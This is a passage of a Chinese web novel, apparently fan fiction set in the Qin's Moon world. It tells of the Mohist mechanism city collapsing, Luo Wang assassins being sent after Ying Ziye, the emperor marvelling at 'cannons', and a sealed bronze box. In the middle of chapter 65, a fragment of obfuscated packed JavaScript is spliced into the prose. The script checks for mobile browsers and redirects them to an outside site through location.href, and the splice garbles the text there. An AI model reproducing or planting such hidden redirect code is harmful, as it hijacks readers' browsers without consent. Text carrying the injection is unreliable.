千钧一发之际,矩子突然长啸一声,墨眉剑上的古老纹路迸发黑芒!
这一剑竟同时贯穿大司命肩胛,将她钉在石壁上!
“啊——!”
大司命凄厉惨叫,鲜血染红半边身子。
墨玉麒麟的**再次袭来,矩子却已无力躲闪。
就在**要刺入后心的瞬间——
“砰!”
天穹之上,朱雀突然发射出一只机关**箭,将他的**击偏!
“走!”
矩子用尽最后力气拔出墨眉剑,转身挡在朱雀前。
他的黑袍已被鲜血浸透,但持剑的手稳如磐石。
大司命捂着伤口踉跄后退:“疯子…你撑不过一刻钟……”
“足够。”
矩子独眼扫过升空的朱雀,天明和高月的小脸贴在舱窗上。
他嘴角微微扬起,墨眉剑横于胸前:“墨家…永不言败!”
石门在此时轰然崩塌!
碎石滚落如瀑,尘浪翻涌而出。
硝烟未散,战意已至!
黄金火骑兵如烈焰铁流般列阵于通道两侧,甲胄森冷,刀锋出鞘!
而那漆黑气流的中心,一个玄色身影缓缓踏步而来。
赢子夜!
他披着玄金大氅,长发束冠,面容冷峻如铁。
每一步都踩在青铜齿轮与机关残骸上,发出清脆而沉稳的金属响声!
仿佛踏碎的,是整个机关城的命脉!
鎏金战靴沾满尘灰,却光芒不减。
他行至硝烟深处,周身黄金火骑兵自动让出一条笔直通道,长戟齐整指天,如朝圣之礼!
火光在他眉眼间跳跃,映出一双冷冽无情的眼眸。
“阴阳家的手……”
赢子夜止步于石室前,目光如电,扫过遍地焦土与废墟中重伤蜷伏的大司命。
他的语气淡漠平静,却比刀锋更锋利:
“伸得,比我想象中长啊。”
那一刻,大司命身上的伤口仿佛都因这句话而再次裂开。
整个空间仿佛被一股无形的威压笼罩!
金戈铁马无声肃立!
而他一人立于中央,仿佛执掌生死的冷冽判官。
大司命捂着肩头汩汩流血的伤口,红唇扯出一抹惨笑:“六公子…言重了……”
赢子夜没有理会她的解释,转而看向挡在通道中央的黑袍身影。
矩子的墨眉剑深深**地面,独眼中跳动着决绝的火焰。
六魂恐咒的赤红纹路已经爬满他的脖颈,可他的脊背依旧挺得笔直。
“燕丹。”
赢子夜突然唤出这个名字,声音很轻,却让矩子的瞳孔骤然收缩。
“呵…没想到还有人记得这个名字。”
矩子的笑声嘶哑如锈铁摩擦。
“可惜,墨家矩子今日便要随机关城……”
“公子小心!”
蒙恬突然厉喝。
只见矩子猛地拔出墨眉剑,剑锋划过地面的瞬间,整座山体开始剧烈震颤!
“玄武计划,启!!!”
随着这声嘶吼,埋藏在机关城各处的青铜机关同时爆发出刺目的红光!
赢子夜眼神一凛,抬手示意全军后撤。
公输仇的机关臂疯狂转动着测算仪:“不好!他在引爆地脉火精!”
大司命脸色骤变:“疯子!这是要同归于尽!”
她强撑着想要逃离,却被塌落的巨石拦住去路。
矩子站在崩塌的甬道中间,黑袍在热浪中猎猎作响。
他望着赢子夜,独眼中竟带着解脱般的笑意:“暴秦的走狗…就陪墨家一起……”
话音未落,一道赤红流光突然穿透他的胸膛!
墨玉麒麟的**从阴影中收回,冷冷道:“多话。”
矩子踉跄着单膝跪地,却突然大笑起来。
他染血的手狠狠拍向地面最后一道机关纹路:“晚了!”
“轰——!!!”
整座山体如同苏醒的巨兽般开始崩塌!
最先崩断的是机关城顶层的青铜穹顶。
密密麻麻的传动齿轮轰然碎裂,仿佛金属洪流般倾泻而下。
千钧重的柱梁断裂折塌,拖拽着火焰与浓烟砸向甬道深处。
撞碎一座又一座雕刻精美的机关楼阁。
深埋于地脉的火精井炸裂出第一道熔浆浪潮,如岩浆毒蛇一般穿透城体根基,将通道尽数吞没。
山壁开始裂开,宛如天地撕裂的口子,发出令人心魂俱裂的哀嚎!
“咔啦啦——!”
十几根青铜支柱连锁断裂,瞬间引发连锁塌陷。
一头正在狂吼挣扎的机关兽“裂羽雕”被砸中翅膀。
钢铁羽翼脱落如雨,随即被火焰吞噬,发出凄厉悲鸣!
空气中弥漫着蒸汽、焦油与焚烧机关兽的金属粉尘。
那是数百年机关巧匠心血化作的余烬!
**的冲击波接连袭来,连远处山脊都剧烈震动,无数飞鸟惊起!
甬道尽头的火光中。
矩子的黑袍如火中孤松,笔挺如旧,却也开始被烈焰蚕食、撕裂,露出焦黑的伤痕与斑驳的血迹。
整座机关城在地心轰鸣与赤焰奔腾中,被一寸寸吞没!
轰然崩塌之声贯穿天地!
仿佛三百年的墨家传承,在这一刻,以最壮烈的方式…
走向终焉!!!
而赢子夜,则在黄金火骑兵的护卫下急速后撤。
玄色大氅翻卷间,他已安然退出危险区域。
……
与此同时。
苍穹之上,朱雀机关舱。
青铜铸造的朱雀在云层间剧烈颠簸。
**的冲击波不断从下方袭来!
班大师的机关手死死抓着操纵杆,指节因用力而发白。
透过水晶舷窗,可以看见整座机关城正在地火中崩塌。
冲天的火光将云海染成血色。
“不…不可能……”
盗跖的脸贴在窗上,铜钱从指缝间滑落。
这个从来玩世不恭的盗王之王,此刻眼中蓄满泪水。
“矩子他…怎么会……”
大铁锤的巨锤“咣当”砸在舱板上。
这个铁塔般的汉子跪倒在地,拳头将青铜地板砸出凹痕。
“老子就该留下来!就该……”
端木蓉紧紧搂着瑟瑟发抖的天明。
医家传人的指尖深深掐进掌心。
鲜血顺着指缝滴落,她却浑然不觉。
盖聂站在舱门处,木剑微微震颤!!
这是剑圣生平第一次,握剑的手在发抖。
突然,一道白影刺破云层!
“
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小心!”
盖聂的木剑瞬间出鞘。
白凤的羽刃擦着朱雀左翼掠过,在青铜羽翼上留下一道深深的裂痕。
“啧,飞得还挺快。”
白凤轻盈地落在朱雀背上,雪白的羽衣在狂风中翻飞。
他指尖把玩着三枚羽刃,冷眼看着舱内众人。
“下去陪你们矩子如何?”
“混账!”
大铁锤抡起巨锤就要冲出舱门,被徐夫子死死拽住。
盖聂一步踏出舱外,木剑在云气中划出清越的剑鸣。
“白凤,退下。”
“盖先生好大的威风~”
白凤轻笑,羽刃突然射出!
三枚薄如蝉翼的刀刃在空中**成九道寒光,封死所有退路。
“铛铛铛——!”
木剑如游龙般舞动,竟将九枚羽刃尽数击飞。
盖聂的身影突然消失。
再出现时已到白凤身后,木剑带着千钧之势劈下!
白凤瞳孔骤缩,仓促间只来得及横臂格挡。
“咔嚓”一声,他的右臂护甲碎裂,整个人被剑气劈得倒飞出去。
“咳咳……”
白凤在云层中稳住身形,嘴角渗出血丝!
他盯着那个持剑而立的身影,终于收起戏谑。
“剑圣…果然名不虚传。”
盖聂没有追击,转身欲回朱雀。
就在这电光火石的刹那!
“首领大人有令。”
一个空灵的声音突然在天穹之上响起。
“这个女孩,阴阳家收下了。”
“什么?!”
盖聂猛然回头。
高月的身影正被一团淡紫色的光晕包裹,缓缓升向高空。
小姑娘惊恐地挣扎着,却发不出半点声音。
端木蓉扑到舱边,银针如雨般射出,却在触及紫光时纷纷坠落。
“月神!”
盖聂的木剑爆发出前所未有的青光,剑气直冲云霄!
而云层之上,月神的面纱轻轻飘动。
她单手结印,高月便如提线木偶般飘到她身旁。
“这孩子与阴阳家有缘。”
她的声音如同从很远的地方传来。
“盖先生若强求,恐有…不测!”
“放开她!”
天明突然挣脱端木蓉,掷出一柄短剑!
剑刃穿透月神的虚影,却钉在了远处的山崖上。
月神微微摇头。
“无知孩童。”
她广袖轻挥,漫天星辰突然大亮!
刺目的星光让所有人不得不闭上眼睛!
等强光散去,云层上…早已空无一人。
只有高月的一声“天明哥哥”还在风中飘荡,渐渐消散……
“月——!!”
天明的哭喊撕心裂肺。
他想跳下朱雀,被徐夫子死死抱住。
小男孩的拳头拼命捶打舱壁,直到指节血肉模糊!
盖聂沉默地收回木剑,素来平静的脸上罕见地浮现出痛苦之色。
他望向阴阳家消失的方向,指节捏得发白。
舱内无人说话。
只有天明的抽泣声和机关运转的哀鸣。
在他们身后,墨家机关城的最后一根青铜立柱缓缓倒下。
溅起的火星如同三百年来墨家最后的眼泪,消散在黎明前的黑暗中。
第64章 六公子,绝不能活着回咸阳!
墨家机关城外围。
秦军大营。
地动山摇的**声中,赢子夜玄色大氅翻卷如云。
鎏金战靴踏过飞溅的碎石却纤尘不染。
他负手立于山崖边缘,冷眼看着那座经营三百年的机关城在烈焰中崩塌。
冲天火光映在他轮廓分明的侧脸上,将那双深不见底的眼眸染成血色。
“报——!”
黄金火骑兵的校尉单膝跪地,铁甲上还沾着未干的墨家弟子血迹。
“墨家余孽乘朱雀机关遁走,目测往东南方向……”
“东南?”
赢子夜指尖轻叩腰间天子剑,突然冷笑。
蒙恬的鎏金战甲在火光中熠熠生辉。
“末将**率轻骑追击!”
“不急。”
赢子夜抬手制止,转向身后。
“来人。”
一名黑甲亲卫踏步而出,身披乌金短披风,腰悬双刀,眉眼如刀,寒意逼人。
“传令各郡。”
赢子夜的声音很轻,却让周遭温度骤降。
“凡提供墨家余孽踪迹者,赏千金!”
“藏匿者,诛三族!!”
“喏。”
将领拱手领命,身形一晃,瞬息远去,仿佛一道寒光掠过营地。
而一旁,公输仇的机关臂“咔咔”作响。
“公子,那朱雀机关飞不远,用老夫的‘裂羽雕’可追!”
“准。”
赢子夜恩允了他的话,目光扫过远处正在清点战损的黄金火骑兵。
“还有……”
“派人率三百轻骑,持本公子令牌。”
一枚玄鸟纹青铜令抛入蒙恬手中。
“沿途城池驻军任你调遣。”
蒙恬握紧令牌。
“末将定不辱命!!”
赢子夜最后看了眼已成废墟的机关城。
玄色大氅在热浪中翻涌如活物。
“记住,那个叫天明的孩子…要活的。”
随着这道命令,十余只机关猛禽冲天而起!
黄金火骑兵的铁蹄震动着官道青石。
而直到现在,赢子夜的目光,才扫过帐前那道狼狈的身影,语气平静得令人心悸:
“大司命。”
重伤的大司命被两名黄金火骑兵架着,妖艳的红裙早已被血污浸透。
她勉强抬起头,嘴角还挂着血丝:
“六公子……想说什么?”
赢子夜轻轻放下竹简,玄色广袖拂过案几上那盏冒着热气的药汤。
“东皇阁下派你来,总不会是为了帮墨家殉葬。”
帐内空气骤然凝固。
两名火骑兵的鎏金战甲发出细微的碰撞声。
大司命的瞳孔微微收缩。
她没想到这位六公子,竟猜到了这次阴阳家来机关城的目的!
“咳……”
她突然咳出一口淤血,染红了胸前的蛛网纹饰:
“既然公子问起…”
“那个叫‘高月’的女孩,是东君焱妃的遗孤……”
“哦?”
赢子夜眉梢微挑。
这个反应让大司命暗自松了口气。
“她身上带着幻音宝盒。”
大司命观察着赢子夜的表情,谨慎地补充:
“那是解开苍龙七宿的关键……”
案几上的药汤突然泛起一圈涟漪。
赢子夜的手指停在杯沿,眼底闪过一丝晦暗不明的光:
“所以月神亲自出手了。”
这不是疑问,而是陈述。
大司命突然感到一阵寒意!
这位公子说话时的神态,竟与东皇阁下有几分相似。
“我们也只是猜测,墨家机关城下……”
她鬼使神差地继续道:
“应该还藏着关于苍龙七宿情报的铜简。”
赢子夜突然轻笑出声。
这笑声让大司命浑身紧绷,就像被毒蛇盯住的青蛙!
“有意思。”
他屈指敲了敲案几:
“来人,调三百工兵协助大司命阁下……挖地三尺!”
身边的黄金火骑兵抱拳应诺,却在转身时与公输仇交换了个眼神。
老机关师立刻会意,独眼中闪过贪婪的光。
“至于公输先生……”
赢子夜的目光转向那个佝偻的身影:
“墨家机关术的精髓,想必你不会错过。”
公输仇的机关臂“咔咔”变形,露出精密的探测机关:
“老朽定当…细细品味。”
最后四个字说得咬牙切齿,仿佛要把墨家三百年的心血嚼碎吞下!!
大司命被搀扶着退出军帐时。
隐约听到赢子夜吩咐亲兵:
“去,把墨家最近五年所有经手的青铜器,给我查个彻彻底底。”
……
咸阳。
中车府令官邸。
深夜的烛火在青铜灯盏上摇曳。
映照着赵高那张苍白的脸。
他细长的手指捏着刚刚送到的密报,指节因用力而微微发白。
“墨家机关城……毁了?”
他轻声呢喃,声音如同毒蛇吐信。
密报上的墨迹尚未干透,字字如刀——
【六公子赢子夜,率军猛攻墨家机关城,虽遭重重机关阻拦,仍以新式雷火之器强行破城,攻势之猛,摧枯拉朽,前所未见。
矩子临死前启动自毁机关,与城同殉。
墨家余孽乘朱雀机关遁逃,阴阳家月神掳走高月。
据探子回报,赢子夜此刻正亲率火骑兵亲卫,在废墟下昼夜搜寻……】
“啪!”
赵高猛地将密报拍在案几上,眼中寒光闪烁。
他缓缓抬头,看向坐在阴影中的那道身影——
胡亥正斜倚在软榻上,指尖把玩着一枚玉佩,脸上挂着天真无邪的笑容。
“老师~”
胡亥歪着头,声音依旧甜腻。
“六哥这次动静可真不小呢,连机关城都给他掀了。”
赵高微微颔首,眼中却无半分笑意:
“确实不小。”
胡亥望着手中玉佩,语气轻巧,指尖却微微收紧。
“六哥出征前那些日子,整日神神秘秘,调兵遣匠、封街禁坊,连太医院的炼丹炉都被搬去了渭河南岸。”
“原来不是为了炼药——是在造这个。”
“他搜罗的那些炸炉术士,根结便在此。”
“您说
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,六哥是不是太张扬了些?”
赵高低声应道:
“赢子夜行事素来隐忍,能如此高调,只说明一件事。”
“他有恃无恐。”
胡亥轻轻一笑。
“有恃无恐的人,往往……活不久。”
赵高目光一闪。
“十八公子果然英明。”
“他既已触及苍龙七宿,连阴阳家都肯为他舍命周旋……”
“再任由他回来,恐怕咸阳容不下两颗龙心。”
胡亥缓缓坐正,笑意不改,只是语气更软了:
“那老师觉得,他还能回得来吗?”
赵高低头一礼,语气阴柔:
“若公子之令依旧,老奴这就再派三批**,不留余地。”
胡亥把玩玉佩,良久才道:
“告诉他们。”
“这次,不必留活口。”
“至于六哥……”
他声音极轻,却如冰刃穿喉。
“本公子不便亲手动他。”
“就辛苦老师……代我送他一程吧。”
赵高面色恭敬,眼底却闪过一抹嗜血之色:
“老奴遵命。”
他转身走向密室,抬手在墙壁上轻轻一按。
暗门无声滑开,露出里面幽深的地道。
地道两侧,无数盏青铜灯同时亮起,照亮了下方宽阔的地下大厅——
罗网总部。
数百名黑衣**静立其中,如同雕塑般无声无息。
他们面戴青铜面具,腰佩各式凶器,周身散发着令人窒息的杀气。
赵高缓步走下台阶,苍白的手指抚过名册:
“天字二等,出列。”
十五道身影如鬼魅般上前,单膝跪地。
他们虽不及天字一等的玄翦、掩日那般威名赫赫,却也是罗网精锐中的精锐。
“杀字级,三十人。”
又一批**无声跪伏。
“地字级,一百人。”
最后一批**整齐划一地低头。
赵高站在高台上,黑袍在阴风中微微飘动:
“目标——赢子夜。”
他的声音很轻,却让整个大厅的温度骤降:
“不惜一切代价,在他回咸阳之前……”
“杀!!!”
十五名天字二等**同时抬头,面具下的眼睛冰冷如刀。
其中一人缓缓抽出腰间长剑,剑身刻着蜘蛛纹路。
那是罗**有的标记。
“记住,”
赵高补充道,
“若遇阴阳家或流沙之人…格杀勿论!”
**们无声领命,如潮水般退入黑暗。
片刻之后,胡亥的声音从台阶上传来:
“老师~你说六哥能活过这一关吗?”
赵高转身,看着倚在门边的少年,微微一笑:
“十八公子放心,这次罗网全力出手…绝无活口。”
胡亥把玩着玉佩,笑容天真而残忍:
“那就好~”
“唉,其实我可不想…让父皇伤心啊。”
夜风吹过咸阳城的街道,卷起几片枯叶。
无人察觉,上百道黑影正悄然离开城池,如同蛛网般向着赢子夜归来的方向蔓延而去……
第65章 青龙计划浮出水面!
黎明时分,咸阳宫麒麟殿上,文武百官分列两侧。
晨光透过雕花窗棂洒在青玉地砖上,映得殿内一片肃穆。
扶苏立于文官首位,素白朝服纤尘不染,眉头却微微蹙起。
殿外忽有殿卫奔入,低声急报:
“前线八百里加急军报,未及奏禀,飞骑直入宫殿!”
尚未说罢,殿门已轰然开启!!
一道如奔雷般的马蹄声划破晨雾,惊动满朝。
一名传令兵跃马至阶前,尚未停稳便翻身而下。
他满身尘土、甲胄破碎,胸口溅着未干的血迹,几乎是踉跄着冲进殿内。
“报——!”
他双膝跪地,头盔滚落在侧,双手将一份染血的军报高举过顶,声音嘶哑,却如金铁交鸣。
“六公子赢子夜全面挥军,破墨家机关城于雷火之中!”
“机关兽焚毁、矩子殉城,墨家三百年传承,灰飞烟灭!!!”
话音落地,殿内一片哗然!
黑砖宝柱都似震出轻响!
百官失声,仿若听见前线号角破空,雷火撕天。
李斯手中玉笏“啪”地一声掉落,沉稳如他,竟一时怔忡失神。
扶苏脸色骤变,温润的神情上浮现难以掩饰的震动,眼中闪过一抹难言的忧色。
上首的始皇帝原本半倚在龙榻上,闻报倏然起身,玄袍如云卷雷动。
他望向殿外,语气中带着前所未有的震撼与狂热:
“细细道来!”
传令兵深吸一口气:
“六公子麾下军团威震四方!”
“有‘雷霆怒’喷吐烈焰,百丈之外摧城拔寨;有‘机关兽’声震四野,一击之下山崩石裂!”
“墨家三百年的城墙,在这等神威面前如同纸糊!”
殿内死寂。
群臣下意识望向殿外,仿佛能看见那毁天灭地的场景。
“继续说。”
始皇帝的声音里带着罕见的急切!
“墨家机关兽尽数被毁,其矩子启动自毁机关与城同殉。”
传令兵咽了口唾沫。
“虽有小股逆贼乘飞行机关遁逃,但六公子已派火骑兵统领率精骑追捕…”
“那些蝼蚁不足挂齿。”
始皇帝突然打断,鎏金护腕敲击着龙榻扶手。
“朕要听的是那‘雷霆怒’!!”
传令兵额头渗出冷汗:
“回陛下,据少府匠人所述,此物形如青铜巨鼎,腹中藏有霹雳**。”
“点燃引线后,能喷吐雷火,百丈之内的城墙顷刻崩塌。”
“六公子称之为……‘火炮’。”
“火…炮?”
李斯喃喃重复这个陌生词汇,儒雅的面容浮现困惑。
而武将队列中的一些老将军则突然剧烈咳嗽起来。
他们眼中精光爆射!
仿佛看到了什么惊天杀器!
始皇帝突然大笑,笑声震得殿梁微颤:
“好一个火炮!好一个赢子夜!”
他猛地起身,玄色龙袍如乌云翻滚。
“传朕旨意,命六公子即刻押送此物回咸阳!朕要亲眼看看,这能喷吐雷霆的铜兽!”
扶苏温声进谏:
“父皇,六弟劳师远征,是否……”
“你懂什么!”
始皇帝一挥手,扶苏顿时噤声。
“此等神器,当用于扫平六国余孽!”
他眼中闪烁着狂热的光芒。
“匈奴、百越,还有那些藏在山沟里的反贼,在这‘火炮’面前,不过土鸡瓦狗!”
蒙恬之父蒙武将军出列抱拳:
“陛下圣明。只是六公子这杀器,恐怕不是那么容易造出来…”
“举国之力也要造出来!”
始皇帝斩钉截铁。
“传令少府,为六公子调集天下能工巧匠!”
他忽然眯起眼睛:
“对了,那个公输仇……可是公输班的后人?”
李斯连忙应道:
“正是霸道机关术传人。”
“彩!彩!彩!”
始皇帝连说三个彩字,忽然压低声音:
“你们说……若是造出三百门这样的‘火炮’,放在长城之上……”
文武百官齐齐倒吸一口冷气。
始皇帝满意地颔首,却又忽然皱眉:
“子夜何时能归?”
传令兵伏地更低:
“六公子说……要彻底清扫墨家余孽,恐需旬日。”
“太慢。”
始皇帝不悦地摆手。
“再派三千铁骑接应。”
“告诉子夜,朕要在他回咸阳那天,亲自出城三十里相迎!!!”
这个决定让满朝文武骇然变色!
自统一六国以来,始皇帝何曾为哪个皇子出城相迎?
扶苏的指尖在袖中微微发抖,却依然保持着温润如玉的神情。
只是眼中,闪过一丝淡淡的…落寞。
退朝时,李斯快步追上蒙武:
“蒙老将军,这‘火炮’究竟……”
蒙武苦笑摇头:
“末将也是今日才听闻。丞相若想知道,不如去少府,那些匠人都参与过铸造,不过……”
他压低声音。
“六公子能在数日内攻破墨家机关城,此物恐怕比传言的更可怕!!”
而同时,宫门外,几个年轻文官正在窃窃私语:
“听说那‘火炮’轰鸣时,十里之外的战马都会惊厥!”
“墨家机关城你们知道吗?据说城墙厚三丈,就这么没了!”
始皇帝站在高高的台阶上,眺望着东方初升的朝阳。
他精神的面容在晨光中显得异常红润,仿佛回到了当年横扫六合的壮年时光。
“喷吐雷霆的铜兽……”
他喃喃自语,忽然对身旁的赵高道:
“你说,若是早二十年有此物,朕统一六国时,能少死多少大秦儿郎?”
赵高深深躬身,阴影遮住了他阴鸷的面容:
“陛下洪福齐天,六公子孝心可嘉……”
始皇帝突然大笑,笑声惊起殿檐上栖息的玄鸟:
“传旨!在咸阳宫前广场筑高台,到时候,朕要当着文武百官的面,试射这‘火炮’!”
……
晨雾未散。
机关城废墟外围。
赢子夜正在营帐内把玩着一方青铜匣。
玄色大氅垂落在鎏金座榻上,他修长的手指轻轻摩挲着匣面星辰纹路,若有所思。
帐外突然传来急促的脚步声。
“公子!”
公输仇的嗓音嘶哑难掩兴奋,机关臂掀开帐帘时发出刺耳的金属摩擦声。
“老朽在机关城地底发现了不得了的东西!”
赢子夜抬眸,眼底闪过一丝精光:
“说。”
“墨家这群**子,竟在城下挖了条密道!”
公输仇的独眼在晨光中泛着贪婪的光。
“里面全是青铜机关图谱,还有……”
他压低声音。
“疑似关于苍龙七宿的绝密之物!”
青铜匣在赢子夜掌心微微一震。
他缓缓起身,玄色衣袂扫过案几上那盏早已凉透的酒:
“带路。”
……
机关城废墟深处,幽暗的地下水道传来潺潺回响。
赢子夜的鎏金战靴踏在湿滑的青苔上,玄色大氅在潮湿的空气中纹丝不动。
公输仇佝偻着身子在前引路,机关臂发出的幽绿磷火将两人的影子投在长满铜锈的墙壁上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16030644|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>“公子请看。”
公输仇突然停在一处漩涡翻涌的地下河前,机关臂“咔咔”变形为钩爪。
“就在河床下方三丈处!”
钩爪破开水面,拽起半截青铜立柱。
斑驳的柱身上,密密麻麻刻着蝇头小字。
赢子夜俯身拂去水藻,指腹触到“青龙”二字时,瞳孔骤然收缩!
“阴阳家那些人在西侧密室找到了幻音宝盒。”
公输仇的独眼闪烁着诡谲的光。
“但更蹊跷的是这些……”
他转动机关臂,更多青铜残件被拖上岸,每一块都刻着残缺的文字。
赢子夜拾起一片形如龙鳞的铜片,上面依稀可辨“辰年谷雨,农家十万子弟待令”的字样。
又一块刻着“项氏引弓,墨家断后”的青铜板在磷火下泛着幽光。
所有碎片拼凑起来,赫然是一幅庞大的反秦网络图。
“青龙计划……”
赢子夜的声音比地下河的水流还要冷。
他指尖突然发力,那片龙鳞铜片在掌心扭曲变形。
“看来这些叛逆,早在很多年前就开始谋划了。”
公输仇的机关臂突然发出警报般的“滴滴”声:
“公子,这块的机关纹路。”
他指向半截青铜鼎足,上面布满蛛网般的裂纹。
“老朽怀疑原本记载着关键人物,可惜……”
“炸毁了。”
赢子夜冷笑一声,玄色衣袖扫过那些青铜残片。
他突然抬眸,眼底寒芒如剑:
“拓印。”
公输仇一愣:
“公子是说……”
“把这些字全部拓下来,继续破坏水下机关。”
赢子夜一字一顿道。
“至于这些青铜器——”
他抬脚将半截立柱踹回河中。
“全部熔毁!!!”
“还有…今日之事。”
赢子夜指尖缓缓摩挲着天子剑柄。
“有第三个人知道,你就去陪墨家殉葬!”
公输仇的膝盖重重砸在湿滑的石板上:“老朽明白!”
赢子夜转身走向甬道,玄色大氅扫过水面。
在他身后,公输仇的机关臂喷出幽蓝火焰,那些承载着惊天秘密的青铜器在烈焰中渐渐扭曲融化。
河水蒸腾起的白雾里,隐约可见“项氏”“农家”“刺秦”等字迹在高温中永远消失。
……
当地下河重归平静时,赢子夜已经站在废墟高处。
他望着远处正在集结的黄金火骑兵,指尖摩挲着袖中那份刚拓印的绢布。
“传令。”
赢子夜的声音很轻,却让匆匆赶来的传令兵瞬间跪倒。
“即日起,各郡严查农家子弟。”
“凡项氏一族……”
他顿了顿,嘴角浮现残忍的弧度。
“杀无赦!”
他话音刚落,地下河水面突然剧烈翻涌起来!
拳头大小的气泡不断上浮,在河面炸开一团团浑浊的浪花。
“禀公子,破土七郎已破坏水下机关。”
“果然还有东西!”
公输仇的机关臂滴滴作响,独眼中闪烁着亢奋的光芒。
“老朽用墨家机关术反推其原理,这应该是……”
话音未落,整条地下河突然震颤!
河床中央裂开一道三丈宽的缝隙,浑浊的河水打着旋被吸入地底。
伴随着齿轮咬合的轰鸣声,两侧石壁缓缓分离。
露出内藏的青铜密匣。
那匣子通体幽蓝,表面浮凸着星宿纹路,在幽绿磷火下流转着妖异的光泽。
“这是……”
公输仇的机关臂突然僵在半空。
“阴阳家的星纹秘锁?”
第66章 秦灭六国,竟然另有原因!
赢子夜缓步上前,鎏金战靴踏在湿滑的河岸石上。
他指尖轻抚青铜匣表面,触到心宿二位置的凹槽时,匣内突然传出空灵的乐音——
像是无数个编钟在深海**鸣。
公输仇的机关臂“咔咔”变形,探出七根不同形状的撬针:
“让老朽试试……”
一刻钟后,当第七根探针被崩断时,公输仇终于颓然退后。
他的独眼布满血丝,机关臂冒着青烟:
“公子恕罪……这匣子用上了阴阳家最高级的‘七星映月’锁。”
“若强行破开,里面的机括会瞬间引动地脉阴火……”
赢子夜眯起眼睛。
他注意到匣子角上刻着个小小的“焱”字,字迹娟秀却透着股决绝——
与幻音宝盒上的刻痕如出一辙!
“东君焱妃。”
他突然轻声道。
公输仇浑身一颤:
“您是说……这是那位叛逃的阴阳家东君所留?”
水面突然荡起一圈奇特的涟漪。
赢子夜尚未回头,就听见身后传来空灵的女声:
“竟没想到,六公子对我们阴阳家的秘辛如此了解。”
月神的身影从水雾中缓缓显现。
她依旧蒙着素纱,但右臂的广袖却沾染着新鲜血迹——
正是掳走高月时被盖聂剑气所伤。
随着她的出现,密室内的磷火突然变成妖异的紫色。
公输仇的机关臂瞬间进入战斗状态,却被赢子夜抬手制止。
月神的目光扫过那个青铜匣,面纱下的唇角微微扬起:
“想要打开它?”
“月神阁下去而复返。”
赢子夜指尖轻叩天子剑柄。
“总不会是为了帮本公子解谜。”
月神的面纱无风自动。
她凝视着那个青铜匣,紫瞳中闪过一丝难以察觉的复杂。
“六公子可知,这七个宝盒,原本是天外仙人所赐的一块玄铁?”
月神的声音忽然变得飘渺,仿佛从遥远的天际传来。
“传闻牧野之战,周王得仙人相助,方能代商立业。”
“仙人离去之后,却留下了一股足以颠覆天下的玄秘力量。”
赢子夜的指尖微微一顿。
“周王忌惮此力难以掌控,遂聚天下术士,兵家祖师姜尚亲铸此七匣,分封于七国。”
“以此,封锁那翻覆乾坤的仙力,防止其再度合聚。”
月神广袖轻拂,密室内的水雾突然凝聚成画面:
身着周天子冕服的人影,正在将七个宝盒分别赐予七国使者!!
其中楚国王室接过的那只,纹路与眼前这个如出一辙。
“周王室以为分散封印就能永绝后患。”
月神轻笑一声。
“却不知这反而让七国都起了心思。”
她突然指向赢子夜玄袍上的金纹。
“尤其是……你们嬴氏先祖。”
赢子夜眸色骤深。
一个可怕的猜想在他心中浮现——
难道父皇这些年东征西讨,除了一统天下,更是在暗中,搜集此物?
“当年,东皇首领推演天机,发现七个宝盒的封印正在减弱。”
月神突然逼近一步,面纱几乎触到赢子夜的下颌。
“而你们秦国王室,其实早在百年前就……”
“够了。”
赢子夜突然冷声打断。
他缓缓捏紧青铜匣,随之发出嗡鸣。
暗河的水面突然沸腾。
无数气泡炸裂声中,隐约传来金戈铁马之音。
“蒙恬!”
他一声令下,黄金火骑兵的铁靴声瞬间响彻甬道。
他单手提起青铜匣,另一只手按在腰间天子剑上!
“调三千铁骑护送此物。”
他声音不大,却让所有人不自觉地绷直了脊背。
“传令沿途郡县,凡近窥车队者,夷三族!!!”
地面很快传来有节奏的震颤!
是三千铁骑正在废墟之外集结。
赢子夜则将青铜匣收入袖中,玄色衣袂扫过满地狼藉:
“明日卯时,启程!”
……
走出密道时,东方已现鱼肚白。
第一缕晨光照在青铜匣上,那些星宿纹路竟与咸阳宫方向遥相呼应。
赢子夜望着巍峨的群山轮廓,忽然想起一句话:
“七宿聚,玄鸟生……”
这句话在他的记忆中逐渐模糊,已记不清是什么时期、在哪儿听到过。
如今想来,那位横扫六合的帝王,恐怕
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早已知晓一切……
……
与此同时。
青铜朱雀在云层间艰难穿行,左翼的裂痕不时迸溅出火星。
舱内弥漫着血腥与焦糊的气味,偶尔夹杂着几声压抑的抽泣。
班大师的机关手“咔嗒”一声垂落,齿轮间卡着半片机关城的青铜残片。
老人呆滞地望着舱外翻滚的云海,独眼中倒映着远处尚未散尽的火光。
那是他们经营了三百年的家,如今只剩下一团燃烧的废墟。
“老班…”
徐夫子想说什么,长剑却突然从手中滑落。
这位素来沉稳的剑客此刻双手颤抖得握不住剑柄,剑穗上墨家矩子的信物沾满了凝固的血迹。
大铁锤的巨锤斜靠在舱壁上。
这个往日声如洪钟的汉子此刻沉默得像块石头。
他机械地擦拭着锤柄上的血污。
那是他最后一个战死的兄弟留下的。
端木蓉抱着双膝蜷缩在角落,医家传人的银针散落一地。
她盯着掌心那方染血的帕子,上面绣着墨家的“兼爱”二字。
是矩子以前送给她的礼物。
“还有三刻到桑海。”
盗跖突然开口,声音沙哑得不像话。
他指尖的铜钱不再旋转,而是死死攥在手心,“庖丁的客栈有密室…暂时安全。”
盖聂静静站在舱门处,木剑在鞘中微微震颤。
他身后,天明蜷缩在阴影里,男孩死死抱着非攻机关兽,眼泪在脸上冲出两道白痕。
“月……”
天明突然喃喃道,声音轻得几乎听不见。
朱雀剧烈颠簸了一下!
左翼的裂痕又扩大几分!
班大师如梦初醒般扑向操纵杆:“坚持住…就快到了……”
透过破损的舱窗,已经能看见远处桑海城的轮廓。
咸湿的海风裹挟着渔歌飘来,与舱内死寂的氛围形成鲜明对比。
盗跖突然狠狠砸了下舱壁:“等找到庖丁,老子要让他炖一锅最辣的鱼汤!”
他的笑声比哭还难听,“辣死也比憋死强!”
没有人接话。
